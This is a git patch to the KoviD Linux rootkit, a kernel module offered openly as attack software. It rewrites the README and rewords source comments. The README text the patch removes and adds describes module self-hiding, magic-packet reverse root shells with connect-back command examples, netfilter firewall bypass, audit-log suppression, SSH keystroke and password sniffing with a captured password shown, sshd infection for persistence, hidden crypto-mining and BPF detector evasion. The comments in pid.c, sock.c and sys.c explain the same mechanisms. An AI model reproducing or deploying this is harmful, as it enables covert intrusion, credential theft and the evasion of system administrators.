From 4f0e288ccc6a4d6b5131f48c3f179d9ea631b374 Mon Sep 17 00:00:00 2001 From: chash Date: Fri, 3 Nov 2023 20:30:32 +0000 Subject: [PATCH] Simplified README --- README.md | 611 +++++++--------------------------------------------- src/kovid.c | 18 +- src/pid.c | 62 +++--- src/sock.c | 79 +++---- src/sys.c | 68 +++--- src/vm.c | 8 + 6 files changed, 191 insertions(+), 655 deletions(-) diff --git a/README.md b/README.md index e9cbdab..074d22f 100644 --- a/README.md +++ b/README.md @@ -13,25 +13,28 @@ ## 1 - About + KoviD rootkit is a full-featured Loadable Kernel Module (LKM) designed + for use with Linux Kernel version 5 and later. + + Key Features include: + + Self-hiding (module) even from SysFS. + Provides 4 multi-user shell reverse backdoors. + Conceals processes from the proc file system in userspace, not + through unreliable methods. Properly handles child processes, + newly created processes, and more. Hides KauditD logs, syslogs, + user presence, and more. + Conceals CPU usage for all hidden tasks. + Grants root privileges. + Hides files and directories, among other capabilities. + Explore KoviD Demos in the KoviD Demos repository. + KoviD rootkit is a full-feature LKM intended for use against Linux kernel v5+ - Here are some of the features, but not all: - - - Hide itself (module), even from SysFS - - Provide 4 multi-user shell reverse backdoors - - Hide processes from proc file system (userspace), not with that - getdents shit... - - Properly (overstatement!) handle children, newly created processes and more - - Hide KauditD logs, syslogs, user presence and so on - - Hide CPU usage for all hidden tasks - Go Doge! - - Give r00t (duh!) - - Hide files and directories - - etc... - Watch [KoviD Demos](https://github.com/carloslack/kv-demos/tree/master) -### 1.1 Compatible machines +### 1.1 Compatible systems CentOS Linux release 8.3.2011 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux @@ -66,576 +69,128 @@ Watch [KoviD Demos](https://github.com/carloslack/kv-demos/tree/master) ### 2.1 Hide itself (module) - There are some known tricks out there, the most common by using list_del(modulename). - This works, however it is trivial and with some rootkits out there you'd have to reboot - the system in order to unhide (rmmod) the module. In some cases removing the rootkit - is essential. - - The other issue, that is easily forgotten is that some anti-rootkit detectors - that look for patterns created by rootkits - when they execute certain operations, and leave tracks behind. So simply calling - kernel functions to do our work sometimes is not enough, we need to implement - these functionalities ourselves (basically stealing kernel code and customizing it) - as for example the following entry: - -```C - /** - * We bypass original list_del() - */ - kv_list_del(this_list.prev, this_list.next); -``` - - Why so? Because otherwise I could not have done this: - -```C - /** - * Swap LIST_POISON in order to trick - * some rk detectors that will look for - * the markers set by list_del() - * - * It should be OK as long as you don't run - * list debug on this one (lib/list_debug.c) - */ - this_list.next = (struct list_head*)LIST_POISON2; - this_list.prev = (struct list_head*)LIST_POISON1; -``` - - Some RK detectors would look for this_list.next == LIST_POISON1 - - In the same fashion, hiding RK presence from SysFS (kobjects) is - often forgotten as loaded modules are listed - under /sys/module/ - - So a keen sysadmin would just try to match the output of lsmod - against what is seen under /sys/modules - - For achieving that level of stealthiness we must emulate the - flow that unloading a module would follow, and that means, again, - "stealing" some kernel code, and this time for two reasons: - 1. Some of the code is not accessible from the kernel module - 2. Need to change/customize the code path and data - - For example, in order to trick some anti-rk: - -```C - /* So cute that __module_address will return NULL for us - * that will be forever "loading"... */ - lkmmod.this_mod->state = MODULE_STATE_UNFORMED; -``` - - So in this case, our module is forever listed as MODULE_STATE_UNFORMED - and will be ignored by many anti-rk, and even by some internal kernel shit, - that will leave the module alone, which is what we want, innit? - - And this it not all, if we want to have a decent RK then everything we - do, must be undone, if it is our wish, so all these operations need to - be performed in reverse as well, if for example, we need to rmmod the module. + KoviD hides itself, making it challenging to detect. It customizes kernel + code to evade anti-rootkit detectors and disappears + from /sys/module listings. ### 2.2 Hide files and directories - Normally this is achieved by hooking getdents(64) system call. - Most implementations that follow this approach end up - with intrincate code that iterate trhough data, looking for - patterns and taking decisions. However in Linux kernel v5+ there - are better and more simple ways to do so, which is by hijacking - filldir and filldir64. These kernel functions are the ones - that keep a buffer that holds items, names of directories and files. - - So a function that would have have at least 30<>60 lines of code - is reduced to 3. - - And it is not only that, what vanishes, must also come back, so KoviD - keeps a list of whats hidden, can bring them back and also - the hax0r can just add more to the list, during run-time, cheesy. + KoviD hides files and directories effectively by hijacking filldir and + filldir64 kernel functions, significantly simplifying the process. ### 2.3 Function and syscall hijacking: Ftrace - We are lucky, kernel v5+ offers a much sweeter way of hooking, - and best about it is that it is legit, no hacking or dirty tricks - are involved, the name is Ftrace. - - In the past it was provided by Kprobes directly, however it has been recently - removed from the kernel but Ftrace is all we need. - - The best thing about it is that we should not fear tail-recurssion - issues, concurrency, read-only pages and etc, making the module way more stable than - if we had to worry about these things by using tradicional syscall hooking or - JMP hijacking. Ftrace is sweet and simple. - - But more important than the method we use to hijack, is what we do with the hijacking ;) + KoviD leverages Ftrace, a legitimate method for + function and syscall hijacking in Kernel v5+. + This approach offers greater stability compared + to traditional hooking techniques. ### 2.4 Backdoors - There exist many approaches to backdooring a system. I chose some - popular ones because 1) they are popular and 2) they are reliable. - - Basically it consists of CUNT, FUCK and ASS port-knocking. - For all of them one can use nping (part of nmap tool) to - generate the desired packets. - - |CUNT | FUCK | ASS | - |---------------|-----------|-----------| - |Cwr,Urg,fiN,rsT|Fin,Urg,aCK|Ack,rSt,pSh| - - Whereas CUNT, FUCK or ASS packets are to ports 80, 443 or 444 - will connect back to netcat, openssl s_server and socat sessions. - - Example with encrypted openssl reverse shell: - -```bash - $ sudo ./bdclient.sh openssl 192.168.0.3 9999 - Using default temp DH parameters - ACCEPT - -----BEGIN SSL SESSION PARAMETERS----- - . - . - . - Secure Renegotiation IS supported - /bin/sh: 0: can't access tty; job control turned off - # id - uid=0(root) gid=0(root) groups=0(root) - # -``` - - There are no limits on how many simultaneous sessions are allowed. - It is worth noting, tho, that exiting from one backdoor session, exits - all sessions - this is so we make sure to not leave any session hanging - behind. All backdoor sessions are properly hidden (and their - children and sub-processes) but we don't want to give chance, a chance. - -#### 2.4.1 Client script - - There is a simple script to facilitate: client/bdclient.sh - -```bash - $ ./bdclient.sh - Error: Missing parameter - Use: [V=1] ./bdclient.sh - - Methods: - openssl: OpenSSL encrypted connect-back shell - socat: Socat encrypted connect-back shell - nc: Netcat unencrypted connect-back shell - tty: Encrypted non-interactive ROOT section sniffing - for remote root live terminal commands dump - - IP: - Remote IP address where rootkit is listening - - Port: - Local port for connect-back session - must be unfiltered - - Example: - ./bdclient.sh openssl 192.168.1.10 9999 - - Verbose, example: - V=1 ./bdclient.sh openssl 192.168.1.10 9999 - - Connect to GIFT address instead of this machine: - GIFT=192.168.0.30 ./bdclient.sh openssl 192.168.1.10 443 - - If used alongside with GIFT, DRY(run) will NOT send KoviD instruction and will show client's command: - DRY=true GIFT=192.168.0.30 ./bdclient.sh openssl 192.168.1.44 444 - -``` - - Example: - -```bash - $ sudo ./bdclient.sh nc 192.168.0.3 9999 - Connection from [192.168.0.12] port 9999 [tcp/*] accepted (family 2, sport 42390) - /bin/sh: 0: can't access tty; job control turned off - # id - uid=0(root) gid=0(root) groups=0(root) - # -``` + KoviD incorporates popular and reliable methods for backdooring systems, + such as port-knocking with custom packets. + These open connections to Netcat, OpenSSL, and Socat sessions. ### 2.5 Firewall Evasion - bdclient.sh sends the magic packets and from a sub-shell it sits and wait for reverse shell. - - Now at KoviD's host the magic packets will first hit netfilter's pre-routing hook, there kv can - analyse the contents of iphdr looking for a number of flags set in the packet, if matching it - will store sender's IP address and source port number. - - kv will then internally signify that a reverse shell should be started, directed to - stored IP:port. - - The outgoing packets will be coming from a local application, destined to the wire, - they will hit the second NF hook in KoviD, inet-out. - - It is in inet-out hook that kv checks firstly if the destination IP:port is - stored internally and secondly if the outgoing socket state is *NOT* TCP_ESTABLISHED (1), - the packet will be discarded and local IP:port reference will be removed, otherwise - kv invokes okfn(), sending the packet straightaway to the wire, destined to Hacker's host, - and will next steal it with NF_STOLEN, indicating the netfilter stack that that packet should - not continue its way down the stack. - - At this point bdclient.sh should receive an incoming connection from kv, greeted with a r00thell. - - KoviD can maintain several (there is no limit in number) simultaneous revshells from same or - different locations. However, once one of the connections is terminated (user's ctrl+c) - then ALL shells are terminated, all at once. - This is a security insurance in the case the host is compromised and kv needs to - cleanup the track. Not that if the connections were kept they would be easy to detect, - however some paranoia is always welcome, no worries, revshells can be started again at any time. - - There are other internal details related to the management of concurrent revshells and - keeping proper states for each one, but one can peek in the source code and check out. - - iptables -F is for dummies. + KoviD sends magic packets and establishes reverse shell connections. + These packets trigger netfilter hooks and instruct KoviD to create a + reverse shell connection. These outgoing packets bypass iptables rules, + ensuring effective evasion. ### 2.6 Tasks - Perhaps the most important feature of any rootkit is - hiding processes. - - Hidden processes offer a great deal of freedom about what - can actually be done with the hacked device. - - If it is a powerful one, for example, a cluster, one - can hide tools for crypto mining. In other cases one - can hide tools that are used for snooping users and other - processes, hide activity and rely on userspace to achieve - goals not directly implemented by the rootkit, for example - a keylogger that could well be written for userspace - and so on. - - Also, great care (well.. I tried) was taken on children processes. It is often - forgotten, by so called rootkit developers, that tasks - can generate (fork/clone) other tasks or if the care is - taken in hiding children, new children created at any - point in future are forgotten and left hunging around, - waiting to be found by the system admin. - - There are different ways of hiding processes. - The most lame approach is to filter out output - from userland tools like ps or top by hooking - lame syscalls - this is not the case here. - - If done properly, a hidden process is also - unkillable, even by r00t itself: - -```bash - $ ./tests/test & - [1] 14886 - Running 14886 on /tmp/rr.14886 - [ machine * 10:30:20 (dev) ~/Codes/lkm ] - $ ps ax |grep 14886 - 14886 pts/0 S 0:00 ./tests/test - 14891 pts/0 S+ 0:00 grep --color=auto 14886 - [ machine * 10:30:33 (dev) ~/Codes/lkm ] - $ echo 14886 >/proc/mytest - [ machine * 10:30:39 (dev) ~/Codes/lkm ] - $ ps ax |grep 14886 - 14899 pts/0 S+ 0:00 grep --color=auto 14886 - [ machine * 10:30:41 (dev) ~/Codes/lkm ] - $ sudo kill -9 14886 - kill: (14886): No such process - [ machine * 10:30:48 (dev) ~/Codes/lkm ] - $ echo 14886 >/proc/mytest - [ machine * 10:30:52 (dev) ~/Codes/lkm ] - $ ps ax |grep 14886 - 14886 pts/0 S 0:00 ./tests/test - 14912 pts/0 S+ 0:00 grep --color=auto 14886 - [ machine * 10:30:55 (dev) ~/Codes/lkm ] - $ fg - ./tests/test - ^C -``` - - This is so because the task is not hidden from - userland tools, it is removed from /proc interface - as a whole, exists only in kernelspace. - - But there is a problem with this approach, if a process - hidden in such fashion, exits by itself (finished execution or - whatever) and is hidden, the kernel will complain and will - be unusable or will dump a g00d 0ld1e stack trace, reveiling us. - - No worries, I've got you covered by hijacking sys_exit_group - and unhiding the process before it exists, so the links - to the /proc FS are redone and normal exit routine will work - as expected. See m_clone() and m_exit_group() in sys.c. - - In fact hidden tasks in KoviD would have deserved its - own README but I will leave this for another time, for now. + Hiding processes is a crucial feature, giving KoviD the + ability to run undetected. It provides full support for + children processes, ensuring that no hanging processes are left behind. ### 2.7 Logs - Given that hidden tasks will not give away much - of our presence, some logs will just disappear for free! - - For example, a hidden backdoor will not give away the - presence as an allocated shell, "w" will not output - anything because there will be nonthing to output :) - - In debug mode there will be tons of logs in the ring - buffer (debug printks's in RK) and none in "release" mode. - - In some other cases, for example, there was the need of - some effort. For example, KauditD would print out - some warnings in some scenarios, for example, after - escaliting privileges and becoming r00t, some simple - operations, like simply calling "man ls" would warn - on ring buffer, so after some ressearching, I noticed - that KaudiT function audit_log_start() is the entry - point for filling out the buffer that will be printed - out - hijacking that and returning NULL, when I see fit, - is more than enough to skip those irritating logs ;) - - Relax, there is no: lsmod, ps, w, who, ls /proc/, - dmesg and etc that would reveal you. + KoviD's hidden tasks result in missing logs, making it + even more challenging for administrators to detect its + presence. It eliminates logs generated by userland tools + like w, lsmod, ps, who, ls. ### 2.8 TCP/UDP logs - Same for TCP/UDP and networking logs. There are - some function hijacks that got your ass covered - and some are for free, thanks to hiding tasks. - - Notice that in above is also included libpcap, used - by tools like tcpdump and others. There is a catch tho, - when the connection is initiated it will be shown - by libpcap, that is so because it happens _BEFORE_ - the rootkit has the chance to hide the process, thus - knowing it needs to hide that specific connection. - After connection is stabilished then tcpdump will - become silent. - - I might solve this issue by creating an intermediary - step, where hax0r 'tells' the rootkit it is 'going' to - connect from that specific location - stay tuned! + KoviD hides network connections and manipulates network logs + to maintain stealth. It also addresses issues with libpcap + showing connections initiated before task hiding. ### 2.9 r00t - Whatever, nothing special here: -```bash - kill -SIGCONT 666 -``` + Gain root privileges easily with kill -SIGCONT 666. ### 2.10 CPU - hiding/mining - This is potentially cool: hide your process and start mining, it - will not be shown as a CPU consumer. - - catch: Never use 100% of CPU, otherwise you'll see - usr and sys CPU usage splitting 100% to one side or another or - 50% each - that will look weird, be careful and never use all CPUs - at same time at 100% - If your hacked Linux has only 1 CPU then - you better look elsewhere. + KoviD hides CPU consumption, making its processes invisible + as heavy consumers. However, be cautious not to max out the CPU, + as this can lead to unusual usage patterns. ### 2.11 Persistence - The option here is achieved using Volundr https://github.com/carloslack/volundr - - KoviD's persist.S can be used to infect a binary, for example, sshd, that - will be executed after a reboot and load KoviD module. - - Here it is only a suggestion. Persistence can be achieved in several different - ways, depends on creativity and skills. - - ELF infection on disk is possibly one of the simplest - - There is a helper script under scripts/install.sh - that automates the process and is simple to use: - -```bash - $ ./scripts/install.sh - Error: Missing/Invalid parameter - Use: [override variables] ./install.sh - - override defaults: VOLUNDR, KOVID, LOADER - - VOLUNDR: point to Volundr directory entry point - default: ../volundr - - KOVID: point to KoviD module - default: ../kovid - - LOADER: point to loader script - default: ../loadmodule.sh - - Examples: - # ./install.sh /usr/sbin/sshd - # VOLUNDR=/tmp/Volundr ./install.sh /usr/sbin/sshd - # KOVID=/tmp/kovid.ko LOADER=/tmp/loadmodule.sh ./install.sh /usr/sbin/sshd - $ sudo KOVID=/root/kovid.ko ./install.sh /usr/sbin/sshd - - Before running this script, make sure to: - KoviD: build and insmod - Volundr: build -``` - - There is also a new Volundr wrapper written in Rust: - scripts/rustelf/ - - Eventually it will become more extensive and could replace - the current bash scripts used for persistence and reverse shells. - - Compile and run: - $ cargo build - $ cargo run + KoviD offers persistence via Volundr. It can infect executables, + like SSHD, to ensure KoviD loads on reboot. You can also use your + preferred tool, Volundr use here is just a suggestion. ### 2.12 Base address - Another little trick that can help exploiting other executables - is to know their base addresses without having to open() /proc//maps: - - $ echo "-b " >/proc/mytest - $ cat /proc/mytest + KoviD allows for the retrieval of base addresses of other executables + without needing to open /proc//maps. ### 2.13 BPF - KoviD can evade some anti-rk tools based on BPF. More specifically ones - that look for syscall hooks that rely on analysing BPF kernel stack traces - via bpf_map_...() interfaces. + KoviD can evade few anti-rootkit tools that rely on BPF + (Berkeley Packet Filter) for detecting rootkits. - The one anti-rk tool, based on BPF, used for our evasion is: + Tested against: https://github.com/pathtofile/bpf-hookdetect.git ## 3 - Usage - Before compiling and loading KoviD, first edit Makefile - and chose a name for /proc/. Be smart, chose a difficult-to-guess name. - - Then compile and: - sudo insmod kovid - - Throughout this document, I will use "mytest" for all examples. - - Important: Make sure to never use "kovid" or any other easily predictable name, - to make detection harder. - + Before compiling and loading KoviD, edit the Makefile to choose a unique + name for /proc/. Compile and load KoviD using sudo insmod kovid. + Ensure the chosen name for /proc/ is not easily predictable. ### 3.1 /proc/ interface - /proc/mytest is disabled by default, after module is loaded. - To enable the interface: -```bash - $ kill -SIGCONT 31337 -``` - - Interface will unload again after 120 seconds. - - Bring /proc/mytest back after time out: -```bash - $ kill -SIGCONT 31337 -``` + To enable the /proc/mytest interface, use the command: + $ kill -SIGCONT 31337. + The interface will disable itself after 120 seconds and can be + reactivated using the same command. - Repeating above command will toggle ON/OFF /proc/mytest - user interface. +### 3.2 Tasks - Usage: - echo "-[h|s|a|d|l|t0|t1|m0|m1|m|b] [argument(s)] >/proc/mytest + You can hide/unhide processes using the /proc/mytest interface. + For example, to hide a task, run: $ echo 14886 >/proc/mytest. - -h: hide kovid module - -s: show hidden tasks in ring buffer (debug mode only) - -a : add name (string) of the file/directory to be hidden - -d : remove name (string) from the list of hidden directories/files - -l: list files/directories that are currently hidden (debug mode only) - -t0: flag tty persistence file to be removed when kovid is unloaded (default) - -t1: flag tty persistence file to NOT be removed when kovid is unloaded - -b : dump PID's (task) base address in /proc/mytest +### 3.3 Hide module -### 3.2 Help - - This README - - source code + To hide the KoviD module, use the command: `$ echo -h >/proc/mytest`. + In release mode, the module is hidden by default, + and a key can be displayed by running `$ cat /proc/mytest`. -### 3.3 Tasks +### 3.4 Hide/unhide/list files and directories - Hiding/Unhiding: -```bash - $ echo 14886 >/proc/mytest -``` + To hide a file or directory, use: $ echo '-a name' >/proc/mytest. + To unhide, use: $ echo '-d name' >/proc/mytest. You can list hidden files + and directory names with: $ echo listname >/proc/mytest. - If task is not hidden, it will, otherwise it will - be unhidden. +### 3.5 SSH/FTP TTY sniffer - If you want children to be hidden as well, make - sure you are hiding the parent instead. + KoviD can snoop SSH sessions via tty keystrokes and steal passwords + and commands effectively. - Show hidden tasks: -```bash - $ echo show >/proc/mytest -``` +### 3.6 Backdoors - Look at ring buffer (dmesg). Make sure to `dmesg -c` afterwards. - -### 3.4 Hide module - - Hiding: - `$ echo -h >/proc/mytest` - - In 'release' mode KoviD module is hidden by - default and a 'key' can be shown: - `$ cat /proc/mytest` - - Hiding: - `$ echo "random key" >/proc/mytest` - - You can't rmmod KoviD if it is hidden. - - -### 3.5 Hide/unhide/list files and directories - - Hiding: - `$ echo '-a name' >/proc/mytest` - - Unhiding: - `$ echo '-d name' >/proc/mytest` - - Listing hidden files and directory names: - `$ echo listname >/proc/mytest` - -### 3.6 Become r00t - -```bash - $ kill -SIGCONT 666 -``` - - "id" will show your new creds, if you prefer an 0ld r00t "#" then "su" - -### 3.7 SSH/FTP TTY sniffer - - KoviD can snoop SSH session via tty keystrokes, and steaal passwords and commands. - It works almost the same as socat connect-back backdoor. - -```bash - $ sudo ./bdclient.sh tty 192.168.0.3 9999 - socat[6722] N listening on AF=2 0.0.0.0:9999 - socat[6722] N accepting connection from AF=2 192.168.0.3:50296 on AF=2 192.168.0.12:9999 - socat[6722] N forked off child process 6729 - socat[6722] N listening on AF=2 0.0.0.0:9999 - socat[6729] N no peer certificate and no check - socat[6729] N SSL connection using DHE-RSA-AES256-GCM-SHA384 - socat[6729] N SSL connection compression "none" - socat[6729] N SSL connection expansion "none" - socat[6729] N using stdout for reading and writing - socat[6729] N starting data transfer loop with FDs [7,7] and [1,1] - uid.1000 id - uid.1000 uname -a - uid.1000 cat /etc/hosts - uid.1000 ssh fuckit@192.168.0.55 - uid.1000 myhax0rpass -``` + For instructions, run 'scripts/bdclient.sh' and a help list is displayed. ## 4 - Bugs - Many (mostly unknown). - - Ocasional Oops or stack traces are possible, depending on your kernel - version and other things like security patches and so on, who know? you tell me. - - If you see any issue please report it to me, with - as much detail as possible, so I can fix. - - Before deploying KoviD in a real target make sure - to test it extensively, prefereably in a VM that - emulates what the actual target is - avoid surprises - at all costs. - In fact: do `NOT` deploy it, really! Use it as a playground in a VM instead of causing damage to others. - - I take no responsability for any damage caused by this software, perpertrated by any individual - read the `LICENCE`. + As with any software, KoviD may have bugs. + If you encounter issues or oopses, please report them in detail for + potential fixes. Test KoviD extensively, preferably in a VM that + mimics the target environment. - No code is bug-free and no warrant is provided. + Disclaimer: The use of KoviD in a real target is discouraged diff --git a/src/kovid.c b/src/kovid.c index e329d5c..c11445a 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -121,7 +121,7 @@ struct module_sect_attrs { /* * sysfs restoration helpers. * Mostly copycat from the kernel with - * slightly modifications to handle only a subset + * light modifications to handle only a subset * of sysfs files */ static ssize_t show_refcnt(struct module_attribute *mattr, @@ -412,14 +412,12 @@ static ssize_t _seq_read(struct file *fptr, char __user *buffer, return len; } - -/** - * removes proc interface - * after a certain amount of time passes, - * can be re-activated with magic kill - * Important to have this as I dump - * rmmod magic key on it so to unload - * kv you'll need to know what you are doing +/* + * This function removes the proc interface after a + * certain amount of time has passed. + * It can be re-activated using a magic + * kill signal. It's important to have this feature + * because the `rmmod` magic key has been dumped on it. */ static int proc_timeout(unsigned int t) { static unsigned int cnt = PRC_TIMEOUT; @@ -455,7 +453,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, pid = (pid_t)simple_strtol((const char*)buf, NULL, 10); /** * Please, INIT is a no-goer - * Tip: stay safer by avoiding to hide + * Tip: stay safe by avoiding to hide * system tasks */ if(pid > 1) diff --git a/src/pid.c b/src/pid.c index 1b738ad..df49694 100644 --- a/src/pid.c +++ b/src/pid.c @@ -106,10 +106,9 @@ static void _cleanup_node_list(struct task_struct *task) { } } -/** - * If the task being unhidden is a backdoor then - * it must be killed, in no way I want a backdoor - * hanging around +/* + * If the task being unhidden is a backdoor, it must be terminated to ensure + * there are no lingering backdoors left active. */ static inline void _kill_task(struct task_struct *task) { if(!send_sig(SIGKILL, task, 0) == 0) @@ -133,14 +132,16 @@ static int _unhide_task(void *data) { kaddr->k_attach_pid(task, PIDTYPE_PID); #endif - /** - * For active backdoors, saddr should match the active outgoing - * connection. In sock.c I keep references for them in a list,that is needed - * because of active nf hooks that bypass the local firewall, so for each packet - * coming to a destination I can distinguish if that packet belongs to a backdoor. - * If there are nettfilter rules blocking that connection, they will be bypassed and - * the connection will flow normally, but if the backdoor task is being unhidden then - * I need to cleanup that reference because the task will be killed right after. + /* + * For active backdoors, 'saddr' should match the active outgoing + * connection. In sock.c, references for these backdoors are maintained in a list. + * This is necessary due to active nf hooks that bypass the local firewall. + * This list allows for distinguishing packets that belong to a backdoor. + * + * If there are netfilter rules blocking the connection, they will be bypassed, + * and the connection will proceed as normal. However, when a backdoor task + * is being unhidden, the reference to that task needs to be cleaned up + * since the task will be terminated shortly. */ if (ht->saddr) { kv_bd_cleanup_item(&ht->saddr); @@ -166,15 +167,15 @@ static void _select_children(struct task_struct *task) { struct list_head *list; struct to_hide_tasks *tht = kcalloc(1, sizeof(struct to_hide_tasks), GFP_KERNEL); - /** - * So here I first get the list of children and in - * _fetch_children_and_hide_tasks() I traverse the list in - * reverse, hiding one by one. Safer than the obvious approach - * which would be to simultaneously list & hide - * - * However the cost of this operation, this is called - * only from userland interface - */ + /* + * Here, I begin by obtaining the list of child tasks. + * In the _fetch_children_and_hide_tasks() function, I iterate through this list + * in reverse order, hiding one task at a time. This method is chosen for safety + * reasons, as it's safer than simultaneously listing and hiding tasks. + * + * It's worth noting that this operation is relatively costly and is exclusively + * invoked from the userland interface. + */ if (tht) { tht->task = task; list_add_tail(&tht->list, &children_node); @@ -444,18 +445,15 @@ bool kv_for_each_hidden_backdoor_data(bool (*cb)(__be32, void *), void *priv) { return false; } -/** - * This function runs once at init time - * Ideally this will hide a network application such - * as a tunnel or an external backdoor-like application, - * other than the built-in ones - * - * It scans all processes running on the system - * at the time kovid is loaded. +/* + * This function runs once during initialization. + * Its primary purpose is to hide network applications, such as tunnels + * or external backdoor-like applications, except for the built-in ones. * - * Network applications handled here will have - * their connections hidden as well - * @see netapp.h + * It performs a comprehensive scan of all processes that are running on + * the system when KoviD module is loaded. It is important to note + * that this function also conceals the connections of network applications. + * For more information, refer to 'netapp.h'. */ void kv_scan_and_hide_netapp(void) { struct task_struct *t; diff --git a/src/sock.c b/src/sock.c index 3e48495..e18444c 100644 --- a/src/sock.c +++ b/src/sock.c @@ -306,26 +306,24 @@ bool kv_bd_established(__be32 *daddr, int dport, bool established) { struct iph_node_t *node, *node_safe; list_for_each_entry_safe_reverse(node, node_safe, &iph_node, list) { - /** - * Storing saddr is done at the moment the magic packets are - * received by pre-routing netfilter hook. - * The client sends a packet with special flags set and source address - * is the hint that says: connect to this address and port. + /* + * We store 'saddr' when we receive magic packets in the pre-routing + * netfilter hook. These packets have special flags and a source address + * that serves as a hint to connect to a specific address and port. * - * That will trigger a local application, socat, nc, etc that will - * attempt to connect to that particular address:port. When that happens - * we'll hook those packets in our local out netfilter hook and check - * the matching here. Packets coming to local out filter will be destined - * to the same address:port set in pre-routing, but this time they are - * daddr:dport, hence the swapped check you see here. + * A local application like 'socat' or 'nc' will attempt to connect to + * the hinted address:port. Our local out netfilter hook will intercept + * these packets, and we check for matches here. + * + * Incoming packets to the local out filter are bound for the same + * address:port set in pre-routing, but this time, they have + * daddr:dport, leading to the swapped check you see here. */ if (node->iph->saddr == *daddr && htons(node->tcph->source) == dport) { - /** - * Make sure to mark established only once per-connection so - * they will not loose state. - * This will make internal references to be kept until - * connections are closed by clients, when tasks are revealed, data - * freed and reverse shell(s) killed. + /* + * Mark connections as "established" only once per connection to retain state. + * This ensures that internal references persist until other end close connections. + * Upon revealing tasks, data is freed, and reverse shells are terminated. */ node->established = established; @@ -489,23 +487,11 @@ static unsigned int _sock_hook_nf_cb(void *priv, struct sk_buff *skb, return rc; } -/** - * Let's suppose the target has a local netfiler rule similar to the following: - * - * target prot opt source destination - * DROP tcp -- anywhere < IP > tcp dpt: - * - * Q: How are we supposed to establish a reverse shell to IP:port? - * A: By hijacking the netfilter stack: stealing the packet and calling okfn() +/* + * This section deals with hijacking netfilter rules to establish reverse shells. It allows us + * to send packets to the wire by bypassing the firewall. An important aspect is managing + * internal backdoors: states, data lifecycle, synchronization, and more. The high-level process: * - * NF_STOLEN packets will not continue their route through the chain, hence technically - * they will not be blocked but would go nowhere either, unless okfn() is used: to - * send the packet out to the wire. - * - * Part of the implementation is dedicated to internal backdoors management: keeping states, - * data lifetime, synchronization and more. - * - * Here is a high-level diagram: * .---------------..--------------. .---------. .------------. .-----------..------------------. * |Hacker bdclient||kv pre-routing| |kv filter| |revshell app| |kv inet-out||kv bypass firewall| * '---------------''--------------' '---------' '------------' '-----------''------------------' @@ -539,16 +525,12 @@ static unsigned int _sock_hook_nf_fw_bypass(void *priv, struct sk_buff *skb, case IPPROTO_TCP: { struct tcphdr *tcph = (struct tcphdr *)skb_transport_header(skb); int dstport = htons(tcph->dest); - /** - * include/net/tcp_states.h - * sk_state carries current connection state of the packet, at this point in time. - * What I look for here are for TCP_ESTABLISHED packets that will tell me that, well, - * the connection has been completed, therefore that indicates that I can keep the - * state and addresses for this connection. - * - * The established state will only be recorded the first time it comes here and - * are kept throughout backdoor's lifetime. - * */ + /* + * The `sk_state` in include/net/tcp_states.h represents the current connection state of a packet. + * When a packet is in the TCP_ESTABLISHED state, it signifies that the connection has completed. + * This information is crucial for retaining the state and addresses of this connection, which is + * stored throughout the lifetime of the backdoor. + */ if (kv_bd_established(&iph->daddr, dstport, (skb->sk->sk_state == TCP_ESTABLISHED))) { /** @@ -651,12 +633,11 @@ void kv_sock_stop_fw_bypass(void) { nf_unregister_net_hook(&init_net, &ops_fw); } - /** - * Established connections are kept in - * iph_node until one of them terminates, or - * KoviD is unloaded. Key here is to always make - * sure if one BD client exits, all remaining ones - * are terminated too. + /* + * Established connections are maintained in `iph_node` until + * one of them terminates or until KoviD is unloaded. + * It's essential to ensure that if one backdoor (BD) client exits, + * all remaining ones are terminated as well. */ _bd_cleanup(true); } diff --git a/src/sys.c b/src/sys.c index af74226..926f07d 100644 --- a/src/sys.c +++ b/src/sys.c @@ -50,19 +50,14 @@ static struct file *ttyfilp; static DEFINE_SPINLOCK(tty_lock); static DEFINE_SPINLOCK(hide_once_spin); -/* - * task - * | - * +--- hidden No -> normal flow - * | - * +--- hidden Yes - * | - * +--- Backdoor Yes - * | | - * | +--- unhide all backdoors -> kill all backdoors - * +--- Backdoor No - * | - * +--- unhide task +/** + * task + * ├── hidden No → normal flow + * └── hidden Yes + * └── Backdoor Yes + * ├── unhide all backdoors → kill all backdoors + * └── Backdoor No + * ├── unhide task */ static asmlinkage long m_exit_group(struct pt_regs *regs) { @@ -92,12 +87,12 @@ static asmlinkage long m_exit_group(struct pt_regs *regs) } -/** - * task A (parent of B) <- hidden by hax0r +/* + * task A (parent of B) <- hidden * | - * + (clone) --- Task B (child, parent of C) <- hidden by sys_clone if A is hidden - * | - * + (clone) --- Task C (child) <- hidden by sys_clone if B is hidden + * ├ (clone) --- Task B (child, parent of C) <- hidden by sys_clone if A is hidden + * | | + * | └ (clone) --- Task C (child) <- hidden by sys_clone if B is hidden * * See m_exit_group() */ @@ -256,13 +251,13 @@ static asmlinkage long m_bpf(struct pt_regs *regs) { goto out; } - /** - * In order to extract the value we must unwrap + /* + * To extract the value, we must traverse the stack: * sys_bpf -> __sys_bpf -> map_lookup_elem - * In other words, recover the user ptr that is - * about to be returned to userspace, read, modify - * and write it back, hopefully, nullified if - * there is a match. + * In simpler terms, we need to recover the user pointer + * that is about to be returned to userspace. We'll then + * read, modify, and write it back. The goal is to nullify + * it if there's a match, ensuring it doesn't get used. */ if (attr->map_type == BPF_MAP_TYPE_PERF_EVENT_ARRAY) { u32 id; @@ -568,9 +563,8 @@ static struct audit_buffer *m_audit_log_start(struct audit_context *ctx, const struct cred *c = current->real_cred; /** - * We'll trigger this KauditD log when executing - * certain operations after privilege escalation. - * Legit root may not actually follow this code path + * This KauditD log is triggered during specific operations after privilege escalation. + * Legitimate root users may not follow this code path. */ if (!c->uid.val && !c->gid.val && !c->suid.val && !c->sgid.val && !c->euid.val && !c->egid.val && @@ -616,12 +610,13 @@ static void _tty_write_log(uid_t uid, pid_t pid, char *buf, ssize_t len) { size_t total; /** - * +16 is enough to hold "uid.%d" length - * Here using VLA because the implementation of kernel_write - * make a forced conversion to user ptr. I suspect that - * if the variable is heap allocated, the pointer will be lost. + * We use a variable-length array (VLA) because the implementation of kernel_write + * forces a conversion to a user pointer. If the variable is heap-allocated, the + * pointer may be lost. + * + * VLA generates a warning since we're not in C99, but it's necessary for our use case. * - * VLA will generate a warning as we're not c99, that's life. + * We allocate +16 bytes, which is enough to hold "uid.%d". */ char ttybuf[len+16]; 